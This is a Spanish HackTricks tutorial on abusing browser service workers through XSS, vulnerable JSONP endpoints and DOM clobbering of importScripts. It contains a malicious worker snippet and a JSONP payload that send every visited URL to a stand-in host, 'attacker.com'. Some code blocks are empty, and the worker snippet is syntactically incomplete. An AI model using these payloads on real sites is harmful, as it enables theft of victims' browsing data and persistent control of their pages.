# Abuso de los Service Workers
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Información básica
Un service worker es un **script** que tu navegador **ejecuta** en **segundo plano**, independiente de una página web, abriendo la puerta a funciones que no necesitan una página web o interacción del usuario. ([Más información sobre qué es un service worker aquí](https://developers.google.com/web/fundamentals/primers/service-workers)).\
Luego, podrías abusar de los service workers **creándolos/modificándolos** en la **sesión de la víctima** dentro del **dominio web vulnerable** que otorga al **atacante el control** sobre **todas las páginas** que la **víctima** cargará en **ese dominio**.
### Verificar SWs existentes
Puedes verlos en el campo de **Service Workers** en la pestaña de **Application** de las **Herramientas para desarrolladores**. También puedes verlos en [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals).
### Notificaciones push
Si la víctima no otorgó **permisos de notificaciones push**, el service worker **no podrá recibir comunicaciones del servidor si el usuario no accede nuevamente a la página del atacante**. Esto **evitará**, por ejemplo, mantener conversaciones con todas las páginas que accedieron a la página web del atacante, por lo que si se encuentra una vulnerabilidad, el SW puede recibirla y ejecutarla.\
Sin embargo, si la víctima **otorga permisos de notificaciones push, esto podría ser un riesgo**.
## Ataque creando un Service Worker
Para explotar esta vulnerabilidad, necesitas encontrar:
* Una forma de **subir archivos JS arbitrarios** al servidor y un **XSS para cargar el service worker** del archivo JS subido
* Una **solicitud JSONP vulnerable** donde puedas **manipular la salida (con código JS arbitrario)** y un **XSS** para **cargar el JSONP con un payload** que **cargará un service worker malicioso**.
En el siguiente ejemplo, voy a presentar un código para **registrar un nuevo service worker** que escuchará el evento `fetch` y **enviará al servidor del atacante cada URL obtenida** (este es el código que necesitarías **subir** al **servidor** o cargar a través de una respuesta JSONP vulnerable):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
Y este es el código que **registra el worker** (el código que deberías poder ejecutar abusando de un **XSS**). En este caso, se enviará una solicitud **GET** al servidor del **atacante**, **notificando** si el registro del service worker fue exitoso o no:
```javascript
```
En caso de abusar de un punto final JSONP vulnerable, debes colocar el valor dentro de `var sw`. Por ejemplo:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Hay un **C2** dedicado a la **explotación de Service Workers** llamado [**Shadow Workers**](https://shadow-workers.github.io) que será muy útil para abusar de estas vulnerabilidades.
En una situación de XSS, la directiva de caché de 24 horas asegura que un SW malicioso o comprometido sobreviva a una solución para la vulnerabilidad de XSS durante un máximo de 24 horas (suponiendo que el cliente esté en línea). Los operadores del sitio pueden reducir la ventana de vulnerabilidad estableciendo TTL más bajos en los scripts de SW. También alentamos a los desarrolladores a [crear un SW de interruptor de apagado](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776).
## Abusando de `importScripts` en un SW a través de DOM Clobbering
La función **`importScripts`** llamada desde un Service Worker puede **importar un script de un dominio diferente**. Si esta función se llama utilizando un **parámetro que un atacante podría** modificar, podría **importar un script JS desde su dominio** y obtener XSS.
**Esto incluso evita las protecciones de CSP.**
**Código vulnerable de ejemplo:**
* **index.html**
```html
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
### Con DOM Clobbering
Para obtener más información sobre qué es el DOM Clobbering, consulta:
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Si la URL/dominio que el SW está utilizando para llamar a **`importScripts`** está **dentro de un elemento HTML**, es **posible modificarlo mediante DOM Clobbering** para que el SW **cargue un script desde tu propio dominio**.
Para ver un ejemplo de esto, consulta el enlace de referencia.
## Referencias
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).